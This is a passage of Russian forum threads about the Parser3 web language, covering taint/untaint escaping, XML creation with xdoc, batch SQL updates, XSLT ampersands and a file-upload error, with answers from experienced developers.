[code]$file[^file::load[binary;http://xmlsearch.yandex.ru/xmlsearch/][\
		$.method[POST]\
		$.timeout(60)\
		$.headers[\
			$.Content-type[application/x-www-form-urlencoded]\
			$.Content-length[^Body.length[]]\
\
		]\
$Body\
	]\
][/code]"
"33970","ещё раз намекаю, возьмите скрипт \"типографа\", вставьте вместо типографируемых правил свои поисковые слова с подсветкой, уберите подготовку текста, и будет вам счастье.\
А всю кухню типа убирание тегов, css, и javscript, а потом возврат всего этого он сделает за вас."
"33971","будет нам нужно, приделаю.\
пока жду \"patch -u\".\
\
taint ничего в строке не заменяет, он только помечает фрагменты.\
при HTTP запросе данные делаются внутри ещё раз taint, поэтому предыдущие taint игнорируются."
"33972","Но ведь возможность выполнить его есть.\
\
[quot]пока жду \"patch -u\".[/quot]\
\
Патч с большим бы удовольствием выслал, кабы я С знал и в исходниках разбирался :)...\
\
[quot]taint ничего в строке не заменяет, он только помечает фрагменты.\
при HTTP запросе данные делаются внутри ещё раз taint, поэтому предыдущие taint игнорируются.[/quot]\
\
Это проясняет и второй прецедент.\
\
Имеется модуль комментариев, что-то типа новороченой гостевой.\
Вывод идёт в xml, с последующей трансформацией.\
\
Этапы обработки сообщений:\
1. Делаем ^taint[xml] с пост-данными.\
2. Производим типографику/обработку псевдотэгов.\
3. Пишем в базу.\
4. При выводе делаем ^intaint{}.\
\
Так вот видимо комбинация двух taint'ов (один мой xml, второй неявный sql при записи в бд) даёт такие интересные результаты:\
Если использовать первый ^taint[xml], то содержимое поста, к примеру \"\\\" не эскейпится при записи в базу – имеем sql ошибку.\
Если принудительно делать ^taint[sql] перед заносом в бд, то в тело сообщения пролазят тэги – имеем xml ошибку.\
Или наоборот...\
Спасаюсь ручным реплейсом.\
\
Как быть в этой ситуации?...\
«По уму» ли трюк с xdoc’ом?"
"33973","что хотите вы: taint(taint). это сложно и никому непонятно, ведь даже текущий taint полностью понятен не всем :(\
\
вывод: усложнять ни к чему.\
\
разбиение задачи на два шага[=разделяй и властвуй]: создать xdoc, записать xdoc.string в базу — относительно простой подход.\
\
однако моё мнение: хранение в базе XML кода, [b]части[/b] которого получаются из ненадёжного источника << странная вещь.\
\
ведь что есть база: это возможность хранить данные структурировано, соответственно, и искать в них по нужному столбцу.\
\
что есть хранение в базе xml: это что-то немного упрощает, однако как здесь что-то искать?\
\
вывод: вы смешали сущности, получив сомнительные преимущества.\
уверены, что это вам нужно?"
"33974","[quote]что хотите вы: taint(taint). это сложно и никому непонятно[/quote]\
\
Я не этого хочу.\
Мне хочется иметь мощный инструмент преобразований.\
Я не думаю, что текущему taint'у этой мощности не хватает.\
Но иногда приходится творить выкрутасы ещё более непонятные, чем сам taint...\
Тоже не хорошо.\
taint становится понятен как только поработаешь с разными \"языками\", которые имеют собственные литералы.\
\
[quote]вывод: усложнять ни к чему[/quote]\
\
Согласный.\
\
[quote]создать xdoc, записать xdoc.string в базу — относительно простой подход[/quote]\
\
Никто не спорит, но это сродни забиванию гвоздей микроскопом.\
\
Ибо в большинстве случаев еще необходимо подрезАть <?xml ... ?> заголовок.\
\
[quote]хранение в базе XML кода, части которого получаются из ненадёжного источника << странная вещь[/quote]\
\
Такого кода - несомненно.\
Но я потому и провожу все прообразования дабы исключить возможность \"диверсии\".\
А храню в базе в готовом виде для сокращения расходов времени на типографику и парсинг псевдотегов.\
\
[quote]ведь что есть база: это возможность хранить данные структурировано, соответственно, и искать в них по нужному столбцу[/quote]\
\
Так точно.\
Но поиск как таковой выполняется сторонними средствами по выходному содержимому страниц (яндекс).\
Даже если мне нужно будет делать его самостоятельно - проблем нет, в базе хранится исходник сообщения.\
\
[quote]вывод: вы смешали сущности, получив сомнительные преимущества.\
уверены, что это вам нужно?[/quote]\
\
Да. Ибо все испробованные ранее варианты проигрывали текущему.\
Возможно логика пострадала, но выигрыш в скорости -  в разы.\
\
Вывод, вы предлагаете обходится финтом с xdoc?"
"33975","вас, как и большинство, спасёт ^cache\
\
причём в базе проще всего хранить ровно так, как вводит пользователь, а обработку производить потОм.\
\
всё упрощается.\
\
\
если же настаиваете на странном, то всегда пожалуйста, аргументы против высказаны.\
\
шапку можно выключить так:\
[code]^xdoc.string[$.omit-xml-declaration[yes]][/code]"
"33976","[quot]вас, как и большинство, спасёт ^cache[/quot]\
\
Оно конечно да.\
Не таких спасало.\
Но, сами понимаете, \"гостевая\".\
Чтобы сделать там кэширование тоже придётся плясать.\
Оно возможно будет, дабы сократить прочие накладные расходы, но пока в планах нет.\
\
[quot]причём в базе проще всего хранить ровно так, как вводит пользователь, а обработку производить потОм.[/quot]\
\
И тут согласен, НО если эта обработка простая.\
А типографирование кушает дай Бог каждому.\
Тут уж или кэш или хранение готового.\
Ну или не типографировать вообще. :)\
\
[quot]если же настаиваете на странном, то всегда пожалуйста, аргументы против высказаны.[/quot]\
\
Пожалуй, пока да.\
\
[quot]шапку можно выключить так[/quot]\
\
Вот за это спасибо!"
"33977","помогите плиз, в доках по mysql не нашел, можно ли делать несколько update'ов в одном (чтобы изменить одно поле у нескольких записей по, например id)? так же как и с insert'ами. Чтобы избежать SQL'я в каждой итерации.\
\
спасибо"
"33978","[code]\
UPDATE\
	`table`\
SET\
	id = '5',\
	value = '2'\
WHERE\
	parent_id = '2'\
OR\
	parent_id = '3'\
[/code]"
"33980","Премного благодарен. Но проблема в том, что в нашем городе (я далеко от Москвы живу), книг на эту тему нет. А заказывать через интернет - долго ждать - 3 недели едет. Если есть где-нибуддь в сети электронный вариант - подскажите?"
"33981","Это не uri, это chm-файл по парсеру. Скачан с этого же сайта."
"33982","описание хотя бы основ регулярок, за счет которых и фильтруется имя файла можно найти на многих сайтах по перлу(чаще всего там)"
"33983","а INSERT`ы так пройдут?"
"33984","Русский язык не отображается. Что делать?"
"33985","[code]\
INSERT INTO \
		table_name\
(full_path)\
VALUES\
		('my1'),\
		('my2'),\
		('my3'),\
		('my4'),\
		('my5'),\
		('my6'),\
		('my7'),\
		('my8'),\
		...\
[/code]\
\
[qout]WHERE parent_id IN (2,3)[/qout]\
а как быть с самими значениями, т.е. что в SET, там же для каждой итерации новое значение\
\
2G_Z, мне нужно изменить одно поле - full_path, которое в разных итерациях ранзое, допустим я сформировал полные пути, теперь мне нужно променюшить таблицу с путями и проапдейтить поля, при этом избежать апдейтов в каждой итерации.\
\
ЗЫ я и не надеялся, что будет столько ответов :) спасибо вам"
"33988","...в которой можно поразбираться, а можно и просто использовать готовые регулятрые выражения:\
\
[url=\"http://spearance.tura.ru/parser3/regex/\"]Копилка регулярных выражений[/url]\
\
Спасибо Eugene Spearance! ;)"
"33989","Вопрос в принципе банальный.\
Где то на форуме я отыскал строчку,что в будущем будет сделана поддержка работы с графикой. Я имею в виду Ресайц изображения\
Одноко хотелось узнать вот что:\
в эти (будущие) методы будут добавлены\
некоторые функции потипу как в GD. \
1.resize\
2.water mark\
3.convert\
\
Хотелось бы отметить что я привел только в пример эти названия.\
\
Я просто хочу знать ДА или НЕТ. \
Мне этих методов за глаза хватит для галерей, а работать с GD или ImageMagick не особо хочется. Так как я все таки уже привык к parser. Я не особо хороший программист но с парсером дружу.\
\
Спасибо"
"33990","признаюсь - идиотом был!!!"
"33991","Имею следующий процесс:\
\
Данные вводятся пользователем, к ним применяются некоторые правила типографирования (в частности замена кавычек (\") на елочки (&laquo; и  &raquo;)) и данные сохраняются в базу\
\
При выводе данных они отдельной процедурой выдергиваются из базы и формируется XML (выдергивается некоторое дерево данных - список записей, а для каждой из них - дочерние и родительские записи и т.д. рекурсивно). Этот XML используется по разному:\
\
1. Обрабатывается в ^postprocess[] - здесь все нормально, в xdoc  уходит последовательность типа \"&amp;laquo;\" и все работает.\
[code]\
 $xmldoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?><document>$body</document>}]\
[/code]\
\
2. Некоторые аттрибуты элементов результирующего XML вышеупомянутой процедуры мне нужно вставить в другой XML - например для selecta в форме ввода. Почему не прямое обращение к базе? Мне так удобнее, так как в процедуре вывода данных я реализую различные ограничения на дерево. Как здесь:\
[code]\
$xmldoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?><document>^printtable[....]</document>}]\
[/code]\
Получаю ошибку - ругается на символы типа &laquo; внутри значений аттрибутов XML-текста. Пробовал по всякому-разному красить данные taint-ом, untaint-ом... ничего хорошего не вышло! Подскажите, пожалуйста..."
"33992","если не поможет, вероятно, тоже будет, но самим нам нужно редко, а когда нужно, вполне справляемся запуском внешнего скрипта, так что приоритет невысок."
"33993","подключить DTD с определением сущности и читать про XML"
"33995","там моё мнение про эту затею в целом.\
\
в вашем случае:\
[code]\
@main[]\
$untrustedRaw[$form:text]\
$untrustedTypographed[^typo[$untrustedRaw]]\
\
$xmldoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
<!DOCTYPE document [\
	<!ENTITY	laquo		\"&#171^;\">\
	<!ENTITY	raquo		\"&#187^;\">\
]>\
\
<document attr=\"$untrustedTypographed\"></document>}]\
\
$response:content-type[text/xml]\
^untaint{^xmldoc.string[]}\
\
@auto[]\
#заметьте, что &laquo; тут написан кодером =\
#= чистый =\
#= никаких замен с его знаками не будет происходить\
$typoTable[^table::create{from	to\
<<	&laquo^;\
>>	&raquo^;\
}]\
\
@typo[untrustedRaw] как бы типографит\
#заменяет исходные буквы, которые могут быть tainted, на чистые\
^untrustedRaw.replace[$typoTable]\
[/code]\
\
но проще всего забыть про названия entities, они всё равно при transform не выживают, и сразу заменять на нужные буквы.\
\
причём пока буква есть в кодировке windows-1251, лучше так её и записывать. тогда код значительно сокращается. (если буквы нет в windows-1251, записывать её в виде &#ddddd; или &#xHHHH;\
\
тогда не надо и entities объявлять.\
[code]\
$typoTable[^table::create{from	to\
<<	«\
>>	»\
}]\
[/code]"
"33998","Если честно - перечитал несколько раз, до конца пока не понял. Буду разбираться...\
\
Пока что получаю:\
\
[b]Задача:[/b] создать правильный xml-текст по записям таблицы базы данных, которые могут содержать \"неправильные\" символы. При том, что преобразование \"окрашенных\" данных произойти не успевает (насколько я понял). \
\
[b]Решение №1:[/b]\
[code]\
$xdoc[^xdoc::create{$table.field}]\
<item value=\"^xdoc.string[]\">\
[/code]\
\
[b]Решение №2:[/b]\
[code]\
$replace[^table::create{from	to\
&	&amp^;\
>	&gt^;\
<	&lt^;\
\"	&quot^;\
'	&apos^;\
}]\
<item value=\"^table.field.replace[$replace]\">\
[/code]\
\
[b]Решение №3 (более частный, но именно мой случай):[/b]\
[code]\
$replace[^table::create{from	to\
&laquo^;	«\
&raquo^;	»\
}]\
<item value=\"^table.field.replace[$replace]\">\
[/code]\
\
Подскажите, пожалуйста, что из этого более правильно, а что неправильно вообще?"
"33999","Я сам от Москвы в 3 тысячах километров живу.\
\
Подобного рода литература врятли появляется в интернете, а если и появится, то платно.\
Есть конечно справочники, но это не то.\
\
Разоритесь, закажите.\
Не пожалеете."
"34000","Ну дык и вот:\
[code]\
UPDATE\
	full_path\
SET\
	^table.menu{\
		my^table.line[] = $table.path\
	}[,]\
WHERE\
	что-то\
[/code]\
Насколько я понял ваш вопрос - так..."
"34001","можно как-нибудь убедится что $people1 и $people3 ссылаются на один и тот объект?\
\
$people1[^people::new[]]\
^people1.setName[masha]\
\
$people2[^people::new[]]\
^people2.setName[dasha]\
\
$people3[$people1]\
\
^if($people1 == $people3){\
	yes\
}{\
	no\
}"
"34002","Делаю из XML через XSL HTML\
Нужно получить следующее\
<a href=\"m_main.html?action=showstory^&filename=имя_файла\">Читать дальше\
</a>\
\
Делаю так:\
\
<a>\
<xsl:attribute name=\"href\">\
m_main.html?action=showstory&filename=<xsl:value-of select=\"filename\"/></xsl:attribute>Читать дальше\
</a>\
\
Броузер материится на символ &. Чем нужно его заменить, чтобы все было нормально?"
"34004","Да я там не строки меряю. Я вообще там ничего не сравниваю. Я делаю адресную строку для ссылки. А вообще я допер только что - нужно писать не & а &amp - и все получится."
"34005","попробую и я немного прояснить ситуацию с taint-ингом.\
\
taint - это не что-то в самом тексте, это дополнительная информация [b]о тексте[/b] которую парсер хранит у себя, пока работает с ним.\
\
как только парсер этот текст отдает куда-либо он использует эту информацию для того, чтобы сделать что-то с текстом перед самой выдачей.\
\
т.е. если у нас был текст из двух букв на разных языках, и мы этот текст запишем в БД (файл) - то перед записью языки будет применены. но когда вы парсером попытаетесь считать это-же из БД (файла) - то там уже подобной информации не будет, будут только буквы. парсеру без разницы кто и когда положил туда эти буквы - сам он или ещё кто-либо, он начинает с самого начала - это внешние данные, поэтому по умолчанию он им н доверяет (грязные).\
\
когда вы делаете некие преобразования перед сохранением данных пользователя в БД - tainting прекрасно работает. как только вы сохранили их в БД и на другой странице достали - про языки кусочков текста, которые были до записи текста в БД парсер уже ничего не знает.\
\
поэтому мне кажется правильным делать все в один прием:\
1 случай: мы получаем данные от пользователя, модифицируем их, корректируем ошибки и кладем в БД. после этого мы считаем что данные в БД уже хорошие, поэтому после доставания их из БД ^taint[as-is][их]. именно этот случай я обычно использую при написании административных интерфейсов.\
\
2 случай: мы получаем данные от пользователя, ничего с ними не делая кладем в БД, а в другом месте достаем и показываем. в этом случае используем механизм taiтting-а при выводе. такие случаи имеют место быть в гостевых, форумах и т.д.\
\
3 промежуточные варианты: а-ля описаный тут и [url=\"/forum/?id=33960\"]тут[/url]. вы хотите чтобы часть работы была выполнена с использованием taint-инга ДО сохранения текста, а другая часть - после, но забываете что после того как ваш текст побывает \"где-то там\", парсер ничего не будет знать о языках кусочков этого текста. выход в подобных случаях такой: часть работы делать с использованием taint, а вторую часть - ручками.\
\
по поводу модифицирования данных пользователя: по моему это лишнее. я могу понять когда что-то введенное в административном интерфейсе \"типографится\" (причем не всегда и безусловно, а это контролируется админом), но когда типографятся буквы, введенные посетителем в форму гостевой - это по моему перебор. не только потому, что это уже не те буквы, которые ввел пользователь и выдавать из за написанное им нехорошо (не нравится что он написал - удали, но править - не могИ!) но и потому, что ваша типографика может дать сбой, а оригинал уже будет утерян (не будет сохранен).\
\
поэтому я считаю так-же как и ПАФ - то что введенное пользователем надо хранить в исходном виде.\
\
P.S. преждевременная оптимизация - тоже зло, т.к. она очень негативно сказывается на масштабируемости и впоследствии выходит боком."
"34006","В очередной раз приношу свою благодарность вам - человеку которому не лениво нести свет в массы. :) Уже читал в форуме не один ваш подробный пост на тему taint/untaint. Не могу сказать, что теперь смогу объяснить все тонкости другому человеку, но часть этой темы осознал.\
\
Остается не до конца понятым вопрос, который я попытался задать в стартовом посте, но возможно сделал это криво. Попытаюсь переформулировать.\
\
Есть процедура, которая формирует и выдает XML-код. Делает она это следующим образом:\
[code]\
$items[^table::sql{select * from ...}]\
$attributes[^items.columns[]]\
^items.menu{\
 <item ^attributes.menu{$attributes.column = \"$items.[$attributes.column]\" }>\
}\
[/code]\
Прошу не пинать за 'select * from', PAF признал, что в случае универсального подхода это лучший вариант - http://www.parser.ru/forum/?id=33228 :)\
\
В записях базы данных присутствуют символы &, которые переходят в значения аттрибутов и очевидно должны быть заменены на &amp; чтобы из полученного текста соорудить xdoc.\
\
[b]Так вот:[/b] \
\
1. Если выданный XML-код обрабатывается в процедуре ^postprocess[], в которую он попадает через параметр $body, то эта замена происходит автоматически и насколько я понял по причине того, что xml-код, передаваемый параметром в ^xdoc::create автоматически помечается как ^taint[xml] и с ним производятся соответствующее преобразование. \
\
2. Если передачи в ^postprocess[] не производится и я пытаюсь \
создать xdoc непосредственно из результатов работы процедуры - поучаю ошибку из-за незаескейпенных амперсандов.\
\
Вопрос: почему так происходит? Потому ли, что первый вариант попадает под случай:\
[quot]Само преобразование Parser выполняет позже, при выдаче результата обработки документа пользователю, перед выполнением SQL-запроса или отправкой письма.[/quot]\
а второй вариант нет? Или?"
"34007","'save' undefined method [parser.runtime]"
"34008","потому что вы своим кодом пишите [b]текст[/b], а [b]не[/b] xml. \
\
про то, что этот текст вы желаете преобразовать в xml парсер понимает когда ваш текст идет под ^xdoc::create{$text}\
\
тут парсер делает неявный [b]^xdoc::create{^untaint[xml]{$text}}[/b] (а не как вы сказали ^taint[xml]{$text}).\
\
я не знаю что у вас происходит в @postprocess[] и как вы создаете xdoc. приведете упрощенный код?\
\
P.S. исправил, т.к. сам допустил ошибку в объяснении taint/postprocess"
"34010","1) содержит странное, ведь xdoc.string уже что-то окончательное, и тут на тебе: лезет в атрибут. я планирую в ближайшей версии xdoc.string вообще clean объявить (в CVS|HEAD уже так).\
\
2) если приведённый код стоит внутри xdoc::create, то это уже так и делается, и код полностью идентичен \
[code]<item value=\"/table.field\">[/code]\
\
3) замена работать будет, но кто напишет в тексте эти laquo?\
пользователь?\
такой пользователь напишет там и <br>,\
однако они в вашем коде превратятся в &lt;br&gt;, что, вероятно, бессмысленно.\
\
вывод: перечитайте, увидите, что всё проще, чем вы про него думаете."
"34011","не понял это. как это не успевает. \
xdoc::create{тут} если будет что грязное, parser выстирает."
"34012","Точнее:\
Есть форма - добавка 3 фотографий + код:\
\
[code]\
^if(def $form:first_name && def $form:last_name && def $form:e_mail && def $form:wordpass && def $form:year && def $form:month && def $form:day && def $form:height && def $form:weight && def $form:hair && def $form:eyes && def $form:languages && def $form:maritual_status && def $form:children && def $form:education && def $form:major && def $form:smoker && def $form:drinker && def $form:religion && def $form:about_me && def $form:look_for && def $form:address && def $form:zip_code && def $form:u_state && def $form:city && def $form:country && def $form:home_phone && def $form:cell_phone){\
		\
		^if(def $form:photo1){\
			$photo1_url[/user_photo/${form:e_mail}${form:year}.^file:justext[$form:photo1.name]]\
		}{\
			ADD PHOTO\
		}\
		^if(def $form:photo2){\
			$photo2_url[/user_photo/${form:e_mail}${form:month}.^file:justext[$form:photo2.name]]\
		}{\
			$photo2_url[none]\
		}\
		^if(def $form:photo3){\
			$photo3_url[/user_photo/${form:e_mail}${form:day}.^file:justext[$form:photo3.name]]\
		}{\
			$photo3_url[none]\
		}\
     \
^connect[$connect_string]{^void:sql{insert into #нужная(first_name, last_name, e_mail, wordpass, date_birth, height, weight, hair, eyes, languages, maritual_status, children, education, major, smoker, drinker, religion, about_me, look_for, address, zip_code, u_state, city, country, home_phone, cell_phone, photo1_url, photo2_url, photo3_url, reg_date) \
	\
values\
\
	('$form:first_name', '$form:last_name', '$form:e_mail', '$form:wordpass', '${form:year}-${form:month}-${form:day}', '$form:height', '$form:weight', '$form:hair', '$form:eyes', '$form:languages', '$form:maritual_status', '$form:children', '$form:education', '$form:major', '$form:smoker', '$form:drinker', '$form:religion', '$form:about_me', '$form:look_for', '$form:address', '$form:zip_code', '$form:u_state', '$form:city', '$form:country', '$form:home_phone', '$form:cell_phone', '$photo1_url', '$photo2_url', '$photo3_url', '$now.year-$now.month-$now.day')\
	}}\
	\
		^form:photo1.save[binary;$photo1_url]\
		^form:photo2.save[binary;$photo2_url]\
		^form:photo3.save[binary;$photo3_url]\
		\
		$response:location[/profile/]\
\
}\
\
\
\
[/code]\
Выдает ошибку: [b]'save' undefined method [parser.runtime][/b]"
"34013","проглядел это при проектировании"
"34014","пока ждал ответа, придумал \"своё\" решение :-)\
\
[code]\
@main[]\
\
$people1[^people::new[]]\
^people1.setName[masha]\
\
$people2[^people::new[]]\
^people2.setName[dasha]\
\
$people3[$people1]\
\
^if(^people1.CompareTo[$people2]){\
	people1 == people2<br/>\
}\
^if(^people1.CompareTo[$people3]){\
	people1 == people3<br/>\
}\
^if(^people3.CompareTo[$people1]){\
	people3 == people1<br/>\
}\
###\
\
@CLASS\
object\
###\
\
@new[]\
^_CalcHashCode[]\
###\
\
@CompareTo[object]\
$result(^if($_hashCode1 == $object._hashCode1 && $_hashCode2 == $object._hashCode2){1}{0})\
###\
\
@_CalcHashCode[]\
$_hashCode1(^math:random(2147483648))\
$_hashCode2(^math:random(2147483648))\
###\
\
@CLASS\
people\
###\
\
@BASE\
object\
###\
\
@new[]\
^BASE:new[]\
$_name[]\
###\
\
@setName[value]\
$_name[$value]\
###\
\
[/code]"
"34015","мне нужно что-то типа этого:\
[code]\
UPDATE\
		my_table_name\
SET\
		^path.menu{\
				full_path = '$path.uri'\
		}[, ]\
WHERE\
		my_table_name_id IN (^path.menu{$path.id}[, ])\
[/code]"
"34018","Вероятно тут ошибка. Потому что $form:photo1 может быть пусто.\
[code]\
	^form:photo1.save[binary;$photo1_url]\
	^form:photo2.save[binary;$photo2_url]\
	^form:photo3.save[binary;$photo3_url]\
		\
	$response:location[/profile/]\
[/code]"
"34019","если в каждой итерации будет SQL (update), это гуд? думаю нет."
"34020","точнее очень глупый:\
\
У INSERT вообще нет условия WHERE http://dev.mysql.com/doc/mysql/en/INSERT.html"
"34021","ну сказали же как избежать. прикол из http://www.parser.ru/forum/?id=34015 меняет по 100 раз одно и тоже поле у пачки строк определяемой IN и это синтаксическая ошибка"
"34024","то что предлагаемый вариант UPDATE не сделает того, что надо.\
насколько я понял надо чтобы у записи с id=1 прописался full_path = 'x1', у записи с id=2 прописался full_path = 'x2' и т.д.\
\
а предлагаемый запрос ВСЕМ записям с указаным спиской id-шей присвоит сначала full_path = 'x1', потому full_path = 'x2' и т.д, что по сути своей является бредом, хотя с синтаксической точки зрения SQL сервера не содержит проблем.\
\
диагноз: проапдейтить X записей чтобы каждой записи присвоить что-то свое нельзя, что и пытаются вам донести."
"34025","1) я и не говорил, что это не бред, я пробовал это, результат - все поля с одинаковым значением. Приводил я это лишь для примера, мол вот что бы я хотел сделать, но это не делается, а хотелось бы :)\
\
2) Так значит придется в каждой итерации запрос писать? :("
"34026","Вам нужно пересмотреть логику работы, чтобы таких запросов не требовалось.\
Рассказывайте задачу."
"34027","Сегодня плотно поэкспереминтировал со своим кодом - получил следующий небольшой код, который не хочет у меня работать (почему - не пойму):\
[code]\
$xml[<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
      <document>\
       <item value=\"Johnson&Johnson\"/>\
       <item value=\"Procter&Gamble\"/>\
      </document>\
    ]\
    \
$xdoc[^xdoc::create{$xml}]\
$items[^xdoc.select[/document/item]]\
\
$xdoc[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\" ?>\
                     <document>\
                      ^for[i](0;$items-1){\
                       $node[$items.$i]\
                       <item value=\"^node.getAttribute[value]\"/>\
                      }\
                     </document>\
                   }\
     ]\
[/code]\
Падает на последнем xdoc::create..."
"34029","следующие подобные сентенции [b]ничего[/b] не читавшего про SQL будут удаляться."
"34032","если в вашем коде в начале &amp; записать, то вижу проблему.\
\
вы делаете getAttribute, который должен бы вернуть tainted строку, возвращает не tainted.\
\
разберусь/расскажу."
"34033","xnode.getAttribute и \
xnode.getAttributeNS\
\
ошибочно выдавали clean текст.\
\
workaround: \
[code]\
#было\
^xnode.getAttribute[abc]\
#до выхода 3.1.4 из-за bug в parser пишем пока\
...^taint[^xnode.getAttribute[abc]]...\
[/code]\
\
спасибо Сергею Лифшицу за настойчивость."
"34034","уже какое-то время в CVS|HEAD сделано так, что ^xdoc.string выдаёт clean текст (было: tainted)."
"34035","приведенный код действительно не работает уже на первом xdoc::create :)"
"34036","Мне нужно после заполнения формы на странице \"Х\" перейти на страницу логина.\
Использую указанный в заголовке вариант. Переходит - но после введения логина и пароля на странице /login/ возвращается на изначальную \"Х\". Знаю что наверное не лыжи виноваты, но помогите решить эту задачку."
"34037","Код:\
[code]$source[^table::create{ID\
1\
2\
3\
4\
5\
6\
7\
8\
9\
10}]\
$dest[^table::create{ID}]\
^dest.join[$source;$.reverse(1)][/code]\
Приведенный выше скрипт поедает 100% процессорного времени и затем пытается съесть всю память, что приводит к его принудительному завершению :). \
Посоветуйте что предпринять."
"34038","уверен, автор сокращал код для нашего удобства, и суть его вопроса была именно в этом.\
\
что до опечаток, то никто не застрахован :)"
"34040","Нет ли возможности выложить скомпилированную Вами версию куда-нибудь?"
"34041","получаю вот такую ошибку\
/04-She's_My_Love.mp3\
getting file size failed: No such file or directory (2), real filename '/04-She_27s_My_Love.mp3'"
"34042","Что качается ваших с Мишей ответов - & не был опечаткой, там виноват был я (не посмотрел в какой строке ошибка) и я совсем по другому понимал тогда логику ошибки. [b]Мы докопались до истины в данном вопросе - лишь благодаря вашей, Александр, проницательности. :) [/b] И в моем основном коде мне действительно мешал именно найденный bug.\
\
Теперь отдельно о \"&\" - я небезоснавательно не подумал, что там может быть ошибка. Почему - сейчас объясню и прошу вашей помощи, ибо уже около 2 часов ищу сегодняшнее утро после ваших \"глупых\" ответов.\
\
Что было утром: я начал писать тестовый код на тему http://www.parser.ru/forum/?id=34006 Для проверки гипотезы \"если из xml-кода с символами \"&\" в значениях аттрибутов создавать xdoc в ^postprocess[], то он создается. Если сразу в коде, то нет.\" Гипотеза отпала, [b]код работал[/b] и так и так. Я полез в основной код и тогда нашел, что ноги у проблемы растут из участка рядом с getAttributes. Написал новый тестовый код, получил ошибку при его исполнении и запостил его не вглядевшись в ошибку.\
\
Но когда узнал, что ошибка в действительности в другой строке - начал восстанавливать утренний код, ибо там я передавал в xdoc аналогичный xml-код и xdoc создавался! Примерный вид кода (точный утрачен):\
[code]\
#Содержимое index.html\
^putxml[]\
\
#Содержимое auto.p\
@putxml[]\
<item value=\"Johnson&Johnson\"/>\
\
@postprocess[body]\
 $xml[<?xml version=\"1.0\" encoding=\"$request:charset\" ?><document>$body</document>]\
 $xdoc[^xdoc::create{$xml}]\
 ^xdoc.save[curentxml.xml]\
[/code]\
В curentxml.xml получал что-то типа:\
[code]\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<document>\
 <item value=\"Johnson&amp;Johnson\"/>\
<document/>\
[/code]\
\
Подскажите мне по данной ситуации... Ведь я рыщу во тьме, а вы стоите на плечах гигантов... :)"
"34043","ошибка тут:\
\
[code]\
#Содержимое auto.p\
@putxml[]\
<item value=\"Johnson&Johnson\"/>\
[/code]\
\
ибо тут вы создаете строку, которая не может быть преобразована в валидный xml, но почему вы так делаете после стольких объяснений - я не могу врубиться :)"
"34044","http://www.parser.ru/forum/?id=25015"
"34045","Как может быть так, что ОЧЕНЬ ПОХОЖИЙ код работал? Или такой вариант полностью исключен?"
"34048","Есть xml-файл следующего содержания:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<story>\
 <para>\
   Самый первый параграф. <strong>Здарова.</strong> Ну, и?\
 </para>\
</story>\
\
Как будет выглядеть xsl-файл, чтобы в результате в HTML-файле получалось:\
\
<p>\
 Самый первый параграф. <strong>Здарова.</strong> Ну, и?\
</p>\
\
Т.е. параграф, где все написано обычным шрифтом, а \"Здарова.\" - жирным.\
\
Примерно воот так:\
Самый первый параграф. [b]Здарова.[/b] Ну, и?"
"34049","«Нарыл» в своих бэкапах файлик: ysite-2.6-7.i386.rpm\
Кто помнит — подскажите, плз, как его «прикрутить»?"
"34051","Хорошо... ответьте пожалуйста на последний вопрос и тогда я возможно что-то пойму и отстану! :) Почему работает этот код:\
[code]\
#Содержимое index.html\
^putxml[]\
\
#Содержимое auto.p\
@USE\
/classes/mysql.p\
\
@auto[]\
$SQL.connect-string[mysql://root@localhost/intranet]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string]]\
\
@putxml[]\
^MAIN:pSQL.server{\
 ^void:sql{create table `test` (`value` varchar(40))}\
 ^void:sql{insert into test (value) values ('Johnson&Johnson')}\
 $table[^table::sql{select * from test}]\
 ^void:sql{drop table `test`}\
}\
^table.menu{\
 <item value=\"$table.value\"/>\
}\
\
@postprocess[body]\
 $xml[<?xml version=\"1.0\" encoding=\"$request:charset\" ?><document>$body</document>]\
 $xdoc[^xdoc::create{$xml}]\
 ^xdoc.save[curentxml.xml]\
[/code]\
\
Чем он принципиально отличается от предидущего?"
"34052","в базе хранятся полные пути. допустим я хочу через админку поменять чью то папку, таким образом меняется ее полный путь и полный путь всех детей в базе. исходя из нового имени я формирую таблицу с полными путями всех детей из относительных путей. Так вот все это мне нужно разом засунуть в базу. \
вот собственно и вся беда."
"34053","6 урок - я вкурсе.\
Ссылка - тоже ничего. Но все-таки не то - А допустим я хочу там не BOLD делать, а какой-нибудь другой тег. Причем, чтобы шел не отдельным абзацем, а именно был частью строки? Картинку там какую-нибудь добавить. Чтобы не затрагивать теги HTMLя, а писать своими."
"34054","это собственно форум не по обучению XSLT - ещё немного и пошлют ведь, доиграешься.\
\
Тут принято спрашивать так, - я делаю так ..., хочу получить это ..., но получаю это ... что я делаю не так?\
\
Это нормальный вопрос и на него дадут ответ, но за вопросы которые описаны в не одном десятке книжек и сайтов, можно и по шее получить, как два байта переслать."
"34055","[code]\
<item value=\"$table.value\"/>\
[/code]\
\
и\
\
[code]\
<item value=\"Johnson&Johnson\"/>\
[/code]\
\
несмотря на то, что в $table.value содержатся такие-же буквы - разные вещи из-за того, что значение в $table.value пришло из [b]БД[/b], т.е. там буквы грязные. это равносильно написанию:\
\
[code]\
<item value=\"^taint[Johnson&Johnson]\"/>\
[/code]\
\
именно поэтому при конструировании xdoc символ & преобразуется, ибо согласно документации и нашим длиннющим объяснениям:\
[code]\
$xdoc[^xdoc::create{$xml}]\
[/code]\
эквивалентно этому:\
[code]\
$xdoc[^xdoc::create{^untaint[xml]{$xml}}]\
[/code]\
\
а ^untaint[xml]{} как раз найдет грязные буквы и в момент вызова xdoc:create заменит их.\
\
P.S. принципиальное отличие - откуда взялись данные. аналогично когда вы в запрос подставляете WHERE name = '$form:name' вы не боитесь что кто-то введет в форме ' и развалит ваш запрос. по моему вам надо ещё раз перечитать доку/коммент/пример про taint/untaint"
"34057","в этом месте некуда спешить.\
хоть тысячу update'ов можете послать.\
\
в отдельно взятых диалектах sql есть свои функции работы со строками, скажем в mysql возможен\
[code]\
update field=if(INSTR(),concat('/new/name/',right(field,xxx)) where rlike '^/some/section/';\
[/code]\
\
но subject."
